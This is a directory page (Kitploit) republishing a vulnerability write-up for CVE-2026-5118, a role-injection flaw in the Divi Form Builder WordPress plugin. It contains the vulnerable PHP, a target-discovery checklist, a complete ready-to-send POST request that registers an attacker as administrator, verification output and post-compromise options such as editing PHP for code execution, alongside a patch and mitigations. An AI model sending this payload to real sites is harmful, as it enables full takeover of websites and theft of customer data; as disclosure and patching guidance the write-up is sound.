Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5118 — CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection | Kitploit
उपकरण/GitHubGitHub/zycoder0day/cve-2026-5118
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection

रिपॉजिटरी देखें
53 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation


🎯 सारांश

वर्डप्रेस प्लगइन Divi Form Builder संस्करण 5.1.2 और पिछले में एक Critical भेद्यता है जो बिना प्रमाणीकरण के हमलावर को सीधे पंजीकरण फॉर्म के माध्यम से प्रशासक खाता बनाने की अनुमति देती है।

एक छिपा हुआ फ़ील्ड। एक बदला गया मान। पूरी वेबसाइट तक पूर्ण पहुंच।


🧨 हमलावर क्या कर सकता है?

क्षमताप्रभाव
🔑 बिना लॉगिन के एडमिन खाता बनाएंपूर्ण साइट अधिग्रहण
📦 WooCommerce ग्राहक डेटा तक पहुंचडेटा उल्लंघन

🔬 भेद्यता विश्लेषण

भेद्यता का स्थान

root@kitploit:~
includes/shared/handlers/FormSubmissionHandler.php → create_user()

कमजोर कोड

root@kitploit:~
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" langsung diterapkan

यह क्यों काम करता है?

root@kitploit:~
                    ALUR VALIDASI YANG BERMASALAH
  ┌──────────────────────────────────────────────────────┐
  │  Penyerang kirim: role=administrator                │
  │                    ↓                                  │
  │  sanitize_text_field() → "administrator" (bersih)   │
  │                    ↓                                  │
  │  isset($roles_obj->roles["administrator"]) → TRUE   │ ← BUG! Hanya cek ADA/TIDAK
  │                    ↓                                  │
  │  $user->set_role("administrator") → ADMIN PENUH!    │ ← PRIVESC!
  └──────────────────────────────────────────────────────┘

  "administrator" ADALAH role yang valid di WordPress,
  jadi validasi isset() SELALU return true.
  Fungsi ini TIDAK PERNAH menolak role berbahaya.

हमले का वेक्टर

DFB पंजीकरण फॉर्म में एक छिपा हुआ इनपुट होता है:

root@kitploit:~
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

🛠️ Proof of Concept — हमले की श्रृंखला

चरण 1: इंजीनियरिंग — लक्ष्य खोजें

root@kitploit:~
[★] Target Discovery: Divi Form Builder indicator
    ├── Endpoint scan: 50+ path registrasi
    ├── Homepage link crawl: keyword priority
    ├── REST API: /wp-json/wp/v2/pages?search=register
    ├── Sitemap parsing: XML sitemap URLs
    ├── DFB REST API: /wp-json/divi-form-builder/v1
    ├── AJAX probe: de_fb_ajax_submit_ajax_handler
    ├── WooCommerce: /my-account/ sub-pages
    ├── robots.txt: custom sitemaps + disallow
    ├── Contact pages: DFB forms tersembunyi
    └── wp-json deep: content-first scan
    
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3

चरण 2: फॉर्म पैरामीटर निकालना

root@kitploit:~
Parameter yang diperlukan:
  ├── fb_nonce:        [dari hidden input / de_fb_obj]
  ├── form_key:        [dari hidden input]
  ├── form_type:       register
  ├── divi-form-submit: yes
  └── role:            [INJEKSI: administrator]

Field pemetaan:
  ├── de_fb_user_login + user_login    (kedua varian wajib)
  ├── de_fb_user_email + user_email    
  ├── de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

चरण 3: भूमिका इंजेक्शन — विशेषाधिकार वृद्धि

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

चरण 4: सत्यापन — प्रशासक पहुंच

root@kitploit:~
[→] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 → /wp-admin/

[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
    ├── Dashboard: /wp-admin/
    ├── Users:     Can create/delete any user
    ├── Plugins:   Can install/activate/edit PHP
    ├── Themes:    Can edit template files → RCE
    └── Settings:  Full site control

🧪 प्रयोगशाला सत्यापन

परीक्षण पृथक Docker वातावरण (WordPress 6.5 + DFB v5.0.0) में किया गया:

root@kitploit:~
╔══════════════════════════════════════════════════════╗
║  LAB VERIFICATION RESULTS                              ║
╠══════════════════════════════════════════════════════╣
║  Method: AJAX (admin-ajax.php)                        ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Method: Form POST (direct submission)                 ║
║  Role injected: administrator                          ║
║  Response: "Registration successful!"                  ║
║  Login: HTTP 302 → /wp-admin/ ✓                       ║
║  ─────────────────────────────────────────────────     ║
║  Status: ★ PWNED — Full Admin Access ★               ║
╚══════════════════════════════════════════════════════╝

🔧 अनुशंसित सुधार

समाधान: भूमिका पंजीकरण की अनुमति-सूची

root@kitploit:~
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Hanya cek ADA, bukan AMAN
}

// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Tolak semua role berbahaya
}

अतिरिक्त कदम

  1. role पैरामीटर को फ्रंटएंड फॉर्म से हटाएं — मौजूदा default_user_role का उपयोग करें
  2. AJAX हैंडलर पर सख्त nonce सत्यापन जोड़ें
  3. current_user_can('create_users') क्षमता जांच जोड़ें विशेष भूमिकाओं के लिए
  4. पंजीकरण एंडपॉइंट पर दर सीमा (Rate limiting) ब्रूट-फोर्स को रोकने के लिए

📊 समयरेखा

तिथिघटना
2026-04-13संस्करण 5.1.3 जारी (चेंजलॉग के अनुसार संभावित फिक्स)
2026-05-21पृथक प्रयोगशाला में स्वतंत्र रूप से भेद्यता सत्यापित
2026-05-21जिम्मेदार प्रकटीकरण Divi Engine Security को भेजा गया

🛡️ अस्थायी शमन (पैच से पहले)

  1. यदि उपलब्ध हो तो संस्करण 5.1.3+ पर अपडेट करें
  2. DFB पंजीकरण फॉर्म को अक्षम करें जब तक फिक्स लागू न हो
  3. POST अनुरोध पर role=administrator पैरामीटर को ब्लॉक करने के लिए WAF नियम का उपयोग करें
  4. अज्ञात नए एडमिन खातों के लिए wp_users तालिका की निगरानी करें
  5. पहुंच प्रतिबंधित करें /wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler

⚖️ अस्वीकरण

यह दस्तावेज़ शिक्षा और जिम्मेदार प्रकटीकरण के उद्देश्य से बनाया गया है। सभी शोषण परीक्षण पृथक प्रयोगशाला वातावरण में किए गए। लाइव लक्ष्य पर, केवल निष्क्रिय पहचान की गई (फॉर्म और पैरामीटर की पहचान, बिना शोषण डेटा भेजे)।

लेखक इस दस्तावेज़ में जानकारी के दुरुपयोग के लिए जिम्मेदार नहीं है।


CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Unauthenticated Privilege Escalation
Discovered & Verified: 2026-05-21

टूल डाउनलोड करें
💉 प्लगइन/थीम फ़ाइलें संपादित करें (PHP)
दूरस्थ कोड निष्पादन
🕳️ छिपा हुआ बैकडोर बनाएंस्थायी पहुंच
👥 सभी उपयोगकर्ता डेटा देखेंगोपनीयता उल्लंघन